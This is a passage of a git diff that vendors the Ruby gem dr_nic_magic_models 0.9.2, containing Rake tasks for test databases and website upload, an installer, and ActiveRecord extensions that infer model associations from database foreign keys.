p.clean_globs = CLEAN #An array of file patterns to delete on clean.
|
||||
|
||||
# == Optional
|
||||
p.changes = p.paragraphs_of("History.txt", 0..1).join("\n\n")
|
||||
|
||||
#p.extra_deps - An array of rubygem dependencies.
|
||||
#p.spec_extras - A hash of extra values to set in the gemspec.
|
||||
end
|
||||
|
||||
# Run the unit tests
|
||||
|
||||
for adapter in %w( sqlite mysql postgresql ) # UNTESTED - postgresql sqlite sqlite3 firebird sqlserver sqlserver_odbc db2 oracle sybase openbase )
|
||||
Rake::TestTask.new("test_#{adapter}") { |t|
|
||||
t.libs << "test" << "test/connections/native_#{adapter}"
|
||||
t.pattern = "test/*_test{,_#{adapter}}.rb"
|
||||
t.verbose = true
|
||||
}
|
||||
end
|
||||
|
||||
SCHEMA_PATH = File.join(File.dirname(__FILE__), *%w(test fixtures db_definitions))
|
||||
|
||||
desc 'Build the MySQL test databases'
|
||||
task :build_mysql_databases do
|
||||
puts File.join(SCHEMA_PATH, 'mysql.sql')
|
||||
%x( mysqladmin -u root create "#{GEM_NAME}_unittest" )
|
||||
cmd = "mysql -u root #{GEM_NAME}_unittest < \"#{File.join(SCHEMA_PATH, 'mysql.sql')}\""
|
||||
puts "#{cmd}\n"
|
||||
%x( #{cmd} )
|
||||
end
|
||||
|
||||
desc 'Drop the MySQL test databases'
|
||||
task :drop_mysql_databases do
|
||||
%x( mysqladmin -u root -f drop "#{GEM_NAME}_unittest" )
|
||||
end
|
||||
|
||||
desc 'Rebuild the MySQL test databases'
|
||||
task :rebuild_mysql_databases => [:drop_mysql_databases, :build_mysql_databases]
|
||||
|
||||
desc 'Build the sqlite test databases'
|
||||
task :build_sqlite_databases do
|
||||
# puts File.join(SCHEMA_PATH, 'sqlite.sql')
|
||||
# %x( sqlite3 test.db < test/fixtures/db_definitions/sqlite.sql )
|
||||
file = File.join(SCHEMA_PATH, 'sqlite.sql')
|
||||
cmd = "sqlite3 test.db < #{file}"
|
||||
puts cmd
|
||||
%x( #{cmd} )
|
||||
end
|
||||
|
||||
desc 'Drop the sqlite test databases'
|
||||
task :drop_sqlite_databases do
|
||||
%x( rm -f test.db )
|
||||
end
|
||||
|
||||
desc 'Rebuild the sqlite test databases'
|
||||
task :rebuild_sqlite_databases => [:drop_sqlite_databases, :build_sqlite_databases]
|
||||
|
||||
desc 'Build the PostgreSQL test databases'
|
||||
task :build_postgresql_databases do
|
||||
%x( createdb "#{GEM_NAME}_unittest" )
|
||||
%x( psql "#{GEM_NAME}_unittest" -f "#{File.join(SCHEMA_PATH, 'postgresql.sql')}" )
|
||||
end
|
||||
|
||||
desc 'Drop the PostgreSQL test databases'
|
||||
task :drop_postgresql_databases do
|
||||
%x( dropdb "#{GEM_NAME}_unittest" )
|
||||
end
|
||||
|
||||
desc 'Rebuild the PostgreSQL test databases'
|
||||
task :rebuild_postgresql_databases => [:drop_postgresql_databases, :build_postgresql_databases]
|
||||
|
||||
|
||||
desc 'Generate website files'
|
||||
task :website_generate do
|
||||
sh %{ ruby scripts/txt2html website/index.txt > website/index.html }
|
||||
sh %{ ruby scripts/txt2js website/version.txt > website/version.js }
|
||||
sh %{ ruby scripts/txt2js website/version-raw.txt > website/version-raw.js }
|
||||
end
|
||||
|
||||
desc 'Upload website files to rubyforge'
|
||||
task :website_upload do
|
||||
config = YAML.load(File.read(File.expand_path("~/.rubyforge/user-config.yml")))
|
||||
host = "#{config["username"]}@rubyforge.org"
|
||||
remote_dir = "/var/www/gforge-projects/#{RUBYFORGE_PROJECT}/#{GEM_NAME}"
|
||||
local_dir = 'website'
|
||||
sh %{rsync -av --delete #{local_dir}/ #{host}:#{remote_dir}}
|
||||
end
|
||||
|
||||
desc 'Generate and upload website files'
|
||||
task :website => [:website_generate, :website_upload]
|
||||
3
vendor/gems/dr_nic_magic_models-0.9.2/init.rb
vendored
Normal file
3
vendor/gems/dr_nic_magic_models-0.9.2/init.rb
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
|
||||
require File.join(File.dirname(__FILE__), 'lib', 'dr_nic_magic_models')
|
||||
|
||||
30
vendor/gems/dr_nic_magic_models-0.9.2/install.rb
vendored
Normal file
30
vendor/gems/dr_nic_magic_models-0.9.2/install.rb
vendored
Normal file
@@ -0,0 +1,30 @@
|
||||
require 'rbconfig'
|
||||
require 'find'
|
||||
require 'ftools'
|
||||
|
||||
include Config
|
||||
|
||||
# this was adapted from rdoc's install.rb by ways of Log4r
|
||||
|
||||
$sitedir = CONFIG["sitelibdir"]
|
||||
unless $sitedir
|
||||
version = CONFIG["MAJOR"] + "." + CONFIG["MINOR"]
|
||||
$libdir = File.join(CONFIG["libdir"], "ruby", version)
|
||||
$sitedir = $:.find {|x| x =~ /site_ruby/ }
|
||||
if !$sitedir
|
||||
$sitedir = File.join($libdir, "site_ruby")
|
||||
elsif $sitedir !~ Regexp.quote(version)
|
||||
$sitedir = File.join($sitedir, version)
|
||||
end
|
||||
end
|
||||
|
||||
# the acual gruntwork
|
||||
Dir.chdir("lib")
|
||||
|
||||
Find.find("dr_nic_magic_models", "dr_nic_magic_models.rb") { |f|
|
||||
if f[-3..-1] == ".rb"
|
||||
File::install(f, File.join($sitedir, *f.split(/\//)), 0644, true)
|
||||
else
|
||||
File::makedirs(File.join($sitedir, *f.split(/\//)))
|
||||
end
|
||||
}
|
||||
12
vendor/gems/dr_nic_magic_models-0.9.2/lib/base.rb
vendored
Normal file
12
vendor/gems/dr_nic_magic_models-0.9.2/lib/base.rb
vendored
Normal file
@@ -0,0 +1,12 @@
|
||||
#TODO: Use :dependent for FK cascade?
|
||||
|
||||
module ActiveRecord
|
||||
class Base
|
||||
class << self
|
||||
public
|
||||
def get_unique_index_columns
|
||||
self.connection.indexes(self.table_name, "#{self.name} Indexes").select { |index| index.unique && index.columns.size == 1 }.map{ |index| index.columns.first }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
0
vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/abstract/schema_statements.rb
vendored
Normal file
0
vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/abstract/schema_statements.rb
vendored
Normal file
32
vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/abstract_adapter.rb
vendored
Normal file
32
vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/abstract_adapter.rb
vendored
Normal file
@@ -0,0 +1,32 @@
|
||||
|
||||
module ActiveRecord
|
||||
module ConnectionAdapters # :nodoc:
|
||||
|
||||
# Generic holder for foreign key constraint meta-data from the database schema.
|
||||
class ForeignKeyConstraint < Struct.new(:name, :table, :foreign_key, :reference_table, :reference_column, :on_update, :on_delete)
|
||||
end
|
||||
|
||||
class AbstractAdapter
|
||||
|
||||
# Does this adapter support the ability to fetch foreign key information?
|
||||
# Backend specific, as the abstract adapter always returns +false+.
|
||||
def supports_fetch_foreign_keys?
|
||||
false
|
||||
end
|
||||
|
||||
def foreign_key_constraints(table, name = nil)
|
||||
raise NotImplementedError, "foreign_key_constraints is not implemented for #{self.class}"
|
||||
end
|
||||
|
||||
def remove_foreign_key_constraint(table_name, constraint_name)
|
||||
raise NotImplementedError, "rename_table is not implemented for #{self.class}"
|
||||
end
|
||||
|
||||
protected
|
||||
def symbolize_foreign_key_constraint_action(constraint_action)
|
||||
return nil if constraint_action.nil?
|
||||
constraint_action.downcase.gsub(/\s/, '_').to_sym
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
42
vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/mysql_adapter.rb
vendored
Normal file
42
vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/mysql_adapter.rb
vendored
Normal file
@@ -0,0 +1,42 @@
|
||||
# Foreign Key support from http://wiki.rubyonrails.org/rails/pages/Foreign+Key+Schema+Dumper+Plugin
|
||||
|
||||
module ActiveRecord
|
||||
module ConnectionAdapters
|
||||
class MysqlAdapter < AbstractAdapter
|
||||
def supports_fetch_foreign_keys?
|
||||
true
|
||||
end
|
||||
|
||||
def foreign_key_constraints(table, name = nil)
|
||||
constraints = []
|
||||
execute("SHOW CREATE TABLE #{table}", name).each do |row|
|
||||
row[1].each do |create_line|
|
||||
if create_line.strip =~ /CONSTRAINT `([^`]+)` FOREIGN KEY \(`([^`]+)`\) REFERENCES `([^`]+)` \(`([^`]+)`\)([^,]*)/
|
||||
constraint = ForeignKeyConstraint.new(Regexp.last_match(1), table, Regexp.last_match(2), Regexp.last_match(3), Regexp.last_match(4), nil, nil)
|
||||
|
||||
constraint_params = {}
|
||||
|
||||
unless Regexp.last_match(5).nil?
|
||||
Regexp.last_match(5).strip.split('ON ').each do |param|
|
||||
constraint_params[Regexp.last_match(1).upcase] = Regexp.last_match(2).strip.upcase if param.strip =~ /([^ ]+) (.+)/
|
||||
end
|
||||
end
|
||||
|
||||
constraint.on_update = symbolize_foreign_key_constraint_action(constraint_params['UPDATE']) if constraint_params.include? 'UPDATE'
|
||||
constraint.on_delete = symbolize_foreign_key_constraint_action(constraint_params['DELETE']) if constraint_params.include? 'DELETE'
|
||||
|
||||
constraints << constraint
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
constraints
|
||||
end
|
||||
|
||||
def remove_foreign_key_constraint(table_name, constraint_name)
|
||||
execute "ALTER TABLE #{table_name} DROP FOREIGN KEY #{constraint_name}"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
45
vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/postgresql_adapter.rb
vendored
Normal file
45
vendor/gems/dr_nic_magic_models-0.9.2/lib/connection_adapters/postgresql_adapter.rb
vendored
Normal file
@@ -0,0 +1,45 @@
|
||||
# Foreign Key support from http://wiki.rubyonrails.org/rails/pages/Foreign+Key+Schema+Dumper+Plugin
|
||||
|
||||
module ActiveRecord
|
||||
module ConnectionAdapters
|
||||
class PostgreSQLAdapter < AbstractAdapter
|
||||
|
||||
def supports_fetch_foreign_keys?
|
||||
true
|
||||
end
|
||||
|
||||
def foreign_key_constraints(table, name = nil)
|
||||
|
||||
|
||||
sql = "SELECT conname, pg_catalog.pg_get_constraintdef(oid) AS consrc FROM pg_catalog.pg_constraint WHERE contype='f' "
|
||||
sql += "AND conrelid = (SELECT oid FROM pg_catalog.pg_class WHERE relname='#{table}')"
|
||||
|
||||
result = query(sql, name)
|
||||
|
||||
keys = []
|
||||
re = /(?i)^FOREIGN KEY \((.+)\) REFERENCES (.+)\((.+)\)(?: ON UPDATE (\w+))?(?: ON DELETE (\w+))?$/
|
||||
result.each do |row|
|
||||
# pg_catalog.pg_get_constraintdef returns a string like this:
|
||||
# FOREIGN KEY (user_id) REFERENCES users(id) ON UPDATE CASCADE ON DELETE CASCADE
|
||||
if match = re.match(row[1])
|
||||
|
||||
keys << ForeignKeyConstraint.new(row[0],
|
||||
table,
|
||||
match[1],
|
||||
match[2],
|
||||
match[3],
|
||||
symbolize_foreign_key_constraint_action(match[4]),
|
||||
symbolize_foreign_key_constraint_action(match[5]))
|
||||
end
|
||||
end
|
||||
|
||||
keys
|
||||
end
|
||||
|
||||
def remove_foreign_key_constraint(table_name, constraint_name)
|
||||
execute "ALTER TABLE #{table_name} DROP CONSTRAINT #{constraint_name}"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
34
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models.rb
vendored
Normal file
34
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models.rb
vendored
Normal file
@@ -0,0 +1,34 @@
|
||||
$:.unshift(File.dirname(__FILE__)) unless
|
||||
$:.include?(File.dirname(__FILE__)) || $:.include?(File.expand_path(File.dirname(__FILE__)))
|
||||
|
||||
unless defined?(ActiveRecord)
|
||||
begin
|
||||
require 'active_record'
|
||||
rescue LoadError
|
||||
require 'rubygems'
|
||||
require_gem 'activerecord'
|
||||
end
|
||||
end
|
||||
|
||||
module DrNicMagicModels
|
||||
Logger = RAILS_DEFAULT_LOGGER rescue Logger.new(STDERR)
|
||||
end
|
||||
|
||||
require 'dr_nic_magic_models/magic_model'
|
||||
require 'dr_nic_magic_models/schema'
|
||||
require 'dr_nic_magic_models/validations'
|
||||
require 'dr_nic_magic_models/inflector'
|
||||
require 'base'
|
||||
require 'module'
|
||||
require 'rails' rescue nil
|
||||
require 'connection_adapters/abstract_adapter'
|
||||
require 'connection_adapters/mysql_adapter'
|
||||
require 'connection_adapters/postgresql_adapter'
|
||||
|
||||
# load the schema
|
||||
# TODO - add this to README - DrNicMagicModels::Schema.load_schema(true)
|
||||
|
||||
class ActiveRecord::Base
|
||||
include DrNicMagicModels::MagicModel
|
||||
extend DrNicMagicModels::Validations
|
||||
end
|
||||
14
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/inflector.rb
vendored
Normal file
14
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/inflector.rb
vendored
Normal file
@@ -0,0 +1,14 @@
|
||||
module DrNicMagicModels
|
||||
class Inflector
|
||||
def table_names ; DrNicMagicModels::Schema.table_names; end
|
||||
def tables ; DrNicMagicModels::Schema.tables; end
|
||||
def models ; DrNicMagicModels::Schema.model; end
|
||||
|
||||
def class_name(table_name)
|
||||
ActiveRecord::Base.class_name(table_name)
|
||||
end
|
||||
|
||||
def post_class_creation(klass)
|
||||
end
|
||||
end
|
||||
end
|
||||
133
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/magic_model.rb
vendored
Normal file
133
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/magic_model.rb
vendored
Normal file
@@ -0,0 +1,133 @@
|
||||
# Mixed into a class that is dynamically created, unless
|
||||
# the class was created by the Schema.load_schema process
|
||||
# which builds the whole class, thus no magicalness is
|
||||
# needed
|
||||
module DrNicMagicModels::MagicModel
|
||||
def self.append_features(base)
|
||||
super
|
||||
base.send(:include, InstanceMethods)
|
||||
class << base
|
||||
# Returns the AssociationReflection object for the named +aggregation+ (use the symbol). Example:
|
||||
# Account.reflect_on_association(:owner) # returns the owner AssociationReflection
|
||||
# Invoice.reflect_on_association(:line_items).macro # returns :has_many
|
||||
def reflect_on_association(association)
|
||||
unless reflections[association]
|
||||
# See if an assocation can be generated
|
||||
self.new.send(association) rescue nil
|
||||
end
|
||||
reflections[association].is_a?(ActiveRecord::Reflection::AssociationReflection) ? reflections[association] : nil
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
module InstanceMethods
|
||||
|
||||
def method_missing(method, *args, &block)
|
||||
begin
|
||||
super
|
||||
rescue
|
||||
if unknown_method? method
|
||||
result = find_belongs_to method, *args, &block
|
||||
result = find_has_some method, *args, &block if not result
|
||||
result = find_has_some_indirect method, *args, &block if not result
|
||||
return result if result
|
||||
end
|
||||
add_known_unknown method
|
||||
raise
|
||||
end
|
||||
end
|
||||
|
||||
def add_known_unknown(method)
|
||||
@known_unknowns ||= {}
|
||||
@known_unknowns[method] = true
|
||||
end
|
||||
|
||||
def unknown_method?(method)
|
||||
@known_unknowns.nil? or @known_unknowns.include? method
|
||||
end
|
||||
|
||||
def find_belongs_to(method, *args, &block)
|
||||
method_clean = clean_method method
|
||||
fkc =
|
||||
begin
|
||||
self.class.connection.foreign_key_constraints(self.class.table_name, method_clean)
|
||||
rescue NotImplementedError
|
||||
nil
|
||||
end
|
||||
if !fkc.nil? && fkc.length > 0
|
||||
foreign_key = fkc.first.foreign_key
|
||||
options = {:dependent => :destroy,
|
||||
:foreign_key => fkc.first.foreign_key,
|
||||
:class_name => self.class.class_name(fkc.first.reference_table)}
|
||||
else
|
||||
foreign_key = self.class.columns.select {|column| column.name == method_clean.to_s.foreign_key}.first
|
||||
end
|
||||
options ||= {}
|
||||
return add_belongs_to(method, method_clean, options, *args, &block) if foreign_key
|
||||
end
|
||||
|
||||
def add_belongs_to(method, method_clean, options, *args, &block)
|
||||
self.class.send 'belongs_to', method_clean.to_sym, options rescue puts $!
|
||||
self.send(method, *args, &block)
|
||||
end
|
||||
|
||||
def find_has_some(method, *args, &block)
|
||||
method_clean = clean_method method
|
||||
fkc = [method_clean.to_s.pluralize, method_clean.to_s.singularize].inject({}) do |pair, table_name|
|
||||
fkc = begin
|
||||
self.class.connection.foreign_key_constraints(table_name)
|
||||
rescue NotImplementedError
|
||||
nil
|
||||
end
|
||||
pair[table_name] = fkc if not fkc.blank?
|
||||
pair
|
||||
end
|
||||
if not fkc.blank?
|
||||
# assumes there is only one table found - that schema doesn't have a singular and plural table of same name
|
||||
foreign_key = fkc.values.first.find {|fk| fk.reference_table == self.class.table_name}
|
||||
if foreign_key
|
||||
foreign_key = foreign_key.foreign_key
|
||||
table_name = fkc.keys.first
|
||||
klass = Module.const_get table_name.singularize.camelize rescue nil
|
||||
options = {:foreign_key => foreign_key, :class_name => klass.name}
|
||||
end
|
||||
end
|
||||
unless foreign_key
|
||||
klass = Module.const_get method_clean.to_s.downcase.singularize.camelize rescue nil
|
||||
foreign_key = klass.columns.select {|column| column.name == self.class.name.foreign_key}.first if klass
|
||||
end
|
||||
options ||= {}
|
||||
return add_has_some(method, method_clean, options, *args, &block) if foreign_key
|
||||
end
|
||||
|
||||
def add_has_some(method, method_clean, options, *args, &block)
|
||||
association = method_clean.singularize == method_clean ? 'has_one' : 'has_many'
|
||||
self.class.send association, method_clean.to_sym, options rescue puts $!
|
||||
self.send(method, *args, &block)
|
||||
end
|
||||
|
||||
def find_has_some_indirect(method, *args, &block)
|
||||
klass = Module.const_get method.to_s.downcase.singularize.camelize rescue return
|
||||
join_table = nil
|
||||
self.connection.tables.each do |table|
|
||||
unless [self.class.table_name, klass.table_name].include? table
|
||||
columns = self.connection.columns(table).map(&:name)
|
||||
join_table = table if columns.include?(self.class.to_s.foreign_key) and columns.include?(klass.to_s.foreign_key)
|
||||
end
|
||||
break if join_table
|
||||
end
|
||||
return add_has_some_through(join_table, method, *args, &block) if join_table
|
||||
end
|
||||
|
||||
def add_has_some_through(join_table, method, *args, &block)
|
||||
self.class.send 'has_many', method, :through => join_table.to_sym
|
||||
self.send(method, *args, &block)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def clean_method(method)
|
||||
method.to_s.gsub(/=$/,'') # remove any = from the end of the method name
|
||||
end
|
||||
end
|
||||
end
|
||||
270
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/schema.rb
vendored
Normal file
270
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/schema.rb
vendored
Normal file
@@ -0,0 +1,270 @@
|
||||
module DrNicMagicModels
|
||||
|
||||
# ONE Schema per namespace module
|
||||
# Person, Company, etc share the Object namespace module, ie. ::Person, ::Company
|
||||
# Blog::Post, Blog::Comment, share the Blog namespace module
|
||||
class Schema
|
||||
attr_reader :modul
|
||||
|
||||
def initialize(modul)
|
||||
@modul = modul
|
||||
@table_name_prefix = modul.instance_variable_get("@table_name_prefix") rescue ''
|
||||
logger.info "Create Schema for #{@modul}, table_name_prefix '#{@table_name_prefix}'"
|
||||
end
|
||||
|
||||
cattr_accessor :inflector
|
||||
cattr_accessor :superklass
|
||||
|
||||
# Need to store models etc per-module, not in @ @models
|
||||
def inflector
|
||||
@inflector ||= Inflector.new
|
||||
end
|
||||
|
||||
# all in lower case please
|
||||
ReservedTables = [:schema_info, :sessions]
|
||||
@models = nil
|
||||
|
||||
def logger
|
||||
@logger ||= DrNicMagicModels::Logger
|
||||
end
|
||||
|
||||
def models
|
||||
load_schema if @models.nil?
|
||||
@models
|
||||
end
|
||||
|
||||
def tables
|
||||
load_schema if @tables.nil?
|
||||
@tables
|
||||
end
|
||||
|
||||
def table_names
|
||||
load_schema if @table_names.nil?
|
||||
@table_names
|
||||
end
|
||||
|
||||
def fks_on_table(table_name)
|
||||
load_schema if @models.nil?
|
||||
@fks_by_table[table_name.to_s] || []
|
||||
end
|
||||
|
||||
# active record only support 2 column link tables, otherwise use a model table, has_many and through
|
||||
def is_link_table?(table_name)
|
||||
load_schema if @models.nil?
|
||||
return @link_tables[table_name] if ! @link_tables[table_name].nil?
|
||||
column_names = @conn.columns(table_name).map{|x| x.name }
|
||||
@link_tables[table_name] = ! column_names.include?("id") && column_names.length == 2 && column_names.select { |x| x =~ /_id$/ } == column_names
|
||||
return @link_tables[table_name]
|
||||
end
|
||||
|
||||
def link_tables_for_class(klass)
|
||||
load_schema if @models.nil?
|
||||
end
|
||||
|
||||
def load_schema(preload = false)
|
||||
return if !@models.nil?
|
||||
|
||||
@superklass ||= ActiveRecord::Base
|
||||
raise "No database connection" if !(@conn = @superklass.connection)
|
||||
|
||||
@models = ModelHash.new
|
||||
@tables = Hash.new
|
||||
@fks_by_table = Hash.new
|
||||
@link_tables = Hash.new
|
||||
|
||||
@table_names = @conn.tables
|
||||
@table_names = @table_names.grep(/^#{@table_name_prefix}/) if @table_name_prefix
|
||||
@table_names = @table_names.sort
|
||||
|
||||
logger.info "For #{modul} tables are #{@table_names.inspect}"
|
||||
|
||||
# Work out which tables are in the model and which aren't
|
||||
@table_names.each do |table_name|
|
||||
|
||||
# deal with reserved tables & link_tables && other stray id-less tables
|
||||
#key = 'id'
|
||||
#case ActiveRecord::Base.primary_key_prefix_type
|
||||
# when :table_name
|
||||
# key = Inflector.foreign_key(table_name, false)
|
||||
# when :table_name_with_underscore
|
||||
# key = Inflector.foreign_key(table_name)
|
||||
#end
|
||||
#next if ReservedTables.include?(table_name.downcase.to_sym) ||
|
||||
# is_link_table?(table_name) ||
|
||||
# ! @conn.columns(table_name).map{ |x| x.name}.include?(key)
|
||||
|
||||
table_name_clean = table_name.gsub(/^#{@table_name_prefix}/,'')
|
||||
|
||||
# a model table then...
|
||||
model_class_name = inflector.class_name(table_name_clean)
|
||||
|
||||
logger.debug "Got a model table: #{table_name} => class #{model_class_name}"
|
||||
|
||||
@models[model_class_name] = table_name
|
||||
@tables[table_name] = model_class_name
|
||||
|
||||
if preload
|
||||
# create by MAGIC!
|
||||
klass = model_class_name.constantize
|
||||
|
||||
# Process FKs?
|
||||
if @conn.supports_fetch_foreign_keys?
|
||||
|
||||
tables.each do |table_name|
|
||||
logger.debug "Getting FKs for #{table_name}"
|
||||
@fks_by_table[table_name] = Array.new
|
||||
@conn.foreign_key_constraints(table_name).each do |fk|
|
||||
logger.debug "Got one: #{fk}"
|
||||
@fks_by_table[table_name].push(fk)
|
||||
end # do each fk
|
||||
|
||||
end # each table
|
||||
end
|
||||
|
||||
# Try to work out our link tables now...
|
||||
@models.keys.sort.each{|klass| process_table(@models[klass.to_s])}
|
||||
@link_tables.keys.sort.each{|table_name| process_link_table(table_name) if @link_tables[table_name]}
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def process_table(table_name)
|
||||
|
||||
logger.debug "Processing model table #{table_name}"
|
||||
|
||||
# ok, so let's look at the foreign keys on the table...
|
||||
belongs_to_klass = @tables[table_name].constantize rescue return
|
||||
|
||||
processed_columns = Hash.new
|
||||
|
||||
fks_on_table(table_name).each do |fk|
|
||||
logger.debug "Found FK column by suffix _id [#{fk.foreign_key}]"
|
||||
has_some_klass = Inflector.classify(fk.reference_table).constantize rescue next
|
||||
processed_columns[fk.foreign_key] = { :has_some_klass => has_some_klass }
|
||||
processed_columns[fk.foreign_key].merge! add_has_some_belongs_to(belongs_to_klass, fk.foreign_key, has_some_klass) rescue next
|
||||
end
|
||||
|
||||
column_names = @conn.columns(table_name).map{ |x| x.name}
|
||||
column_names.each do |column_name|
|
||||
next if not column_name =~ /_id$/
|
||||
logger.debug "Found FK column by suffix _id [#{column_name}]"
|
||||
if processed_columns.key?(column_name)
|
||||
logger.debug "Skipping, already processed"
|
||||
next
|
||||
end
|
||||
has_some_klass = Inflector.classify(column_name.sub(/_id$/,"")).constantize rescue next
|
||||
processed_columns[column_name] = { :has_some_klass => has_some_klass }
|
||||
processed_columns[column_name].merge! add_has_some_belongs_to(belongs_to_klass, column_name, has_some_klass) rescue next
|
||||
end
|
||||
|
||||
#TODO: what if same classes in table?
|
||||
|
||||
# is this a link table with attributes? (has_many through?)
|
||||
return if processed_columns.keys.length < 2
|
||||
|
||||
processed_columns.keys.each do |key1|
|
||||
processed_columns.keys.each do |key2|
|
||||
next if key1 == key2
|
||||
logger.debug "\n*** #{processed_columns[key1][:has_some_class]}.send 'has_many', #{processed_columns[key2][:belongs_to_name].to_s.pluralize.to_sym}, :through => #{processed_columns[key2][:has_some_name]}\n\n"
|
||||
processed_columns[key1][:has_some_class].send 'has_many', processed_columns[key2][:belongs_to_name].to_s.pluralize.to_sym, :through => processed_columns[key2][:has_some_name].to_sym
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def add_has_some_belongs_to(belongs_to_klass, belongs_to_fk, has_some_klass)
|
||||
|
||||
logger.debug "Trying to add a #{belongs_to_klass} belongs_to #{has_some_klass}..."
|
||||
|
||||
# so this is a belongs_to & has_some style relationship...
|
||||
# is it a has_many, or a has_one? Well, let's assume a has_one has a unique index on the column please... good db design, haha!
|
||||
unique = belongs_to_klass.get_unique_index_columns.include?(belongs_to_fk)
|
||||
belongs_to_name = belongs_to_fk.sub(/_id$/, '').to_sym
|
||||
|
||||
logger.debug "\n*** #{belongs_to_klass}.send 'belongs_to', #{belongs_to_name}, :class_name => #{has_some_klass}, :foreign_key => #{belongs_to_fk}\n"
|
||||
belongs_to_klass.send(:belongs_to, belongs_to_name, :class_name => has_some_klass.to_s, :foreign_key => belongs_to_fk.to_sym)
|
||||
|
||||
# work out if we need a prefix
|
||||
has_some_name = (
|
||||
(unique ? belongs_to_klass.table_name.singularize : belongs_to_klass.table_name) +
|
||||
(belongs_to_name.to_s == has_some_klass.table_name.singularize ? "" : "_as_"+belongs_to_name.to_s)
|
||||
).downcase.to_sym
|
||||
method = unique ? :has_one : :has_many
|
||||
logger.debug "\n*** #{has_some_klass}.send(#{method}, #{has_some_name}, :class_name => #{belongs_to_klass.to_s}, :foreign_key => #{belongs_to_fk.to_sym})\n\n"
|
||||
has_some_klass.send(method, has_some_name, :class_name => belongs_to_klass.to_s, :foreign_key => belongs_to_fk.to_sym)
|
||||
|
||||
return { :method => method, :belongs_to_name => belongs_to_name, :has_some_name => has_some_name, :has_some_class => has_some_klass }
|
||||
|
||||
end
|
||||
|
||||
def process_link_table(table_name)
|
||||
|
||||
logger.debug "Processing link table #{table_name}"
|
||||
|
||||
classes_map = Hash.new
|
||||
column_names = @conn.columns(table_name).map{ |x| x.name}
|
||||
|
||||
# use foreign keys first
|
||||
fks_on_table(table_name).each do |fk|
|
||||
logger.debug "Processing fk: #{fk}"
|
||||
klass = Inflector.classify(fk.reference_table).constantize rescue logger.debug("Cannot find model #{class_name} for table #{fk.reference_table}") && return
|
||||
classes_map[fk.foreign_key] = klass
|
||||
end
|
||||
|
||||
logger.debug "Got #{classes_map.keys.length} references from FKs"
|
||||
|
||||
if classes_map.keys.length < 2
|
||||
|
||||
#Fall back on good ol _id recognition
|
||||
|
||||
column_names.each do |column_name|
|
||||
|
||||
# check we haven't processed by fks already
|
||||
next if ! classes_map[column_name].nil?
|
||||
referenced_table = column_name.sub(/_id$/, '')
|
||||
|
||||
begin
|
||||
klass = Inflector.classify(referenced_table).constantize
|
||||
# fall back on FKs here
|
||||
if ! klass.nil?
|
||||
classes_map[column_name] = klass
|
||||
end
|
||||
rescue
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# not detected the link table?
|
||||
logger.debug "Got #{classes_map.keys.length} references"
|
||||
logger.debug "Cannot detect both tables referenced in link table" && return if classes_map.keys.length != 2
|
||||
|
||||
logger.debug "Adding habtm relationship"
|
||||
|
||||
logger.debug "\n*** #{classes_map[column_names[0]]}.send 'has_and_belongs_to_many', #{column_names[1].sub(/_id$/,'').pluralize.to_sym}, :class_name => #{classes_map[column_names[1]].to_s}, :join_table => #{table_name.to_sym}\n"
|
||||
logger.debug "\n*** #{classes_map[column_names[1]]}.send 'has_and_belongs_to_many', #{column_names[0].sub(/_id$/,'').pluralize.to_sym}, :class_name => #{classes_map[column_names[0]].to_s}, :join_table => #{table_name.to_sym}\n\n"
|
||||
|
||||
classes_map[column_names[0]].send 'has_and_belongs_to_many', column_names[1].sub(/_id$/,'').pluralize.to_sym, :class_name => classes_map[column_names[1]].to_s, :join_table => table_name.to_sym
|
||||
classes_map[column_names[1]].send 'has_and_belongs_to_many', column_names[0].sub(/_id$/,'').pluralize.to_sym, :class_name => classes_map[column_names[0]].to_s, :join_table => table_name.to_sym
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
class ModelHash < Hash
|
||||
def unenquire(class_id)
|
||||
@enquired ||= {}
|
||||
@enquired[class_id = class_id.to_s] = false
|
||||
end
|
||||
|
||||
def enquired?(class_id)
|
||||
@enquired ||= {}
|
||||
@enquired[class_id.to_s]
|
||||
end
|
||||
|
||||
def [](class_id)
|
||||
enquired?(class_id = class_id.to_s)
|
||||
@enquired[class_id] = true
|
||||
super(class_id)
|
||||
end
|
||||
end
|
||||
end
|
||||
46
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/validations.rb
vendored
Normal file
46
vendor/gems/dr_nic_magic_models-0.9.2/lib/dr_nic_magic_models/validations.rb
vendored
Normal file
@@ -0,0 +1,46 @@
|
||||
module DrNicMagicModels
|
||||
module Validations
|
||||
|
||||
def generate_validations
|
||||
|
||||
logger = DrNicMagicModels::Logger
|
||||
|
||||
# Ensure that the connection to db is established, else validations don't get created.
|
||||
ActiveRecord::Base.connection
|
||||
|
||||
# Code reworked from http://www.redhillconsulting.com.au/rails_plugins.html
|
||||
# Thanks Red Hill Consulting for using an MIT licence :o)
|
||||
|
||||
# NOT NULL constraints
|
||||
